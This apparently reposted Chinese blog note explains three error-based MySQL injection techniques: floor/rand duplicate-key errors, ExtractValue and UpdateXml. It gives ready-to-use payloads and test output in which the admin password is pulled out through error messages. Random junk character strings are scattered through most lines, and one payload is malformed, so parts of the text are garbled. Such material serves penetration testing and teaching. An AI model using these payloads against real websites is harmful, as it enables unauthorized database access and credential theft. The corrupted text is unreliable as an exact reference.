关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
​
0 C6 \2 ^, \; |, i$ K
mysql> show tables;
& u4 K) @6 p3 G6 h! v+----------------+
| Tables_in_test |
8 t2 M1 I- f: S* M! |+----------------+
| admin          |
2 o8 L7 R5 f, [0 y9 F0 b/ H- B| article        |
+----------------+
! a# b1 I8 l5 V5 X% C* w
( L( D6 C% X8 ]" f; P+ Z
0 v' B3 A8 E/ {$ S! X
2 h' V  W9 _) e" }2 I1 E( S6 d2 lmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
# K7 r) X9 e' j, q1 X7 N6 w) ~. n| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
. O& H( p' B/ ^" ]% A| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+

  k1 J9 T( Z- h6 a

mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
% Z! O& n3 h9 Z6 R$ }| Field   | Type             | Null | Key | Default | Extra          |
) ^, v- ~. X. C3 |" j2 D6 Q+---------+------------------+------+-----+---------+----------------+
# y" I" S& q, A; h| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
: g3 ~5 p: G9 r4 N+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
5 s  O# y  }2 T  L2 M0 L/ U% w* W2 a可以通过如下一些利用代码
5 ?' u4 w8 P* ]3 Y
6 [& i( v  }0 G+ ?7 {8 N$ C
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
" f) F) [- v8 K( M* x- A' w

% |0 j) l" e/ I# L$ \and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下：
. X" t! O! Y- R/ M: m首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
+ ^) e4 `8 A# n( d| id | title | content |
$ t+ `; E: V, Q" X+----+-------+---------+
% {& s* g# ]; W|  1 | test  | do it   |
. E* w7 [  ?) J+----+-------+---------+
  y, `5 d$ E5 \假如id输入存在注入的话，可以通过如下语句进行报错。
; }, D  ?; v. d* T1 g
5 ^% \' _- d- O, k6 y$ t
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
3 i( }" W0 a3 A% w2 GERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
  w% N, N" e" ^* Z) D6 p可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:
; |% f! c2 C* |% T' O* d. K8 f
, x, n( Q3 b' J( k; V
) O8 m9 y2 B! v  ]( f/ |mysql> select * from article where id = 1 and (select 1 from
8 T; L, }/ o  \6 u8 _(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:

$ E3 n) x4 k% l9 `
/ w1 V) h2 ]% |( M4 X8 \% Nmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
$ ~2 r, o+ A. Qfloor(rand(0)*2)));
0 I$ r8 V& d, B" SERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
5 H7 H& z, _$ q; V& Z" O2、ExtractValue
1 F5 A, O7 S5 J5 F测试语句如下

, N( t  x" G$ z# k0 e5 `$ W
% d# d; H- `( u6 \. i' B4 V" n+ oand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
8 W+ _! a* ]! T- ]' b实际测试过程

# x0 v6 C, U" a9 Y1 f1 [, d
% y, }4 R  e( E! vmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
) |2 \7 n% u5 v3 Q3 Z(select pass from admin limit 1)));--
) r7 M# `" r% |9 {ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
2 m  |+ p$ Z0 q. \测试语句


, P* r* |4 Z! t9 Y3 {) Y" m& Wand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
; N" c' @/ g6 B1 h# ~: E
. |# j$ b+ V! R- A0 `: v6 a! a" `
, g* n+ |0 N- D3 x5 G# \mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
6 z' V5 U; P0 F(select pass from admin limit 1),0x5e24),1));
7 o3 \7 Q2 D7 H; d+ n2 y% j* CERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
5 S4 q/ t8 g5 L# wAll, thanks foreign guys.

​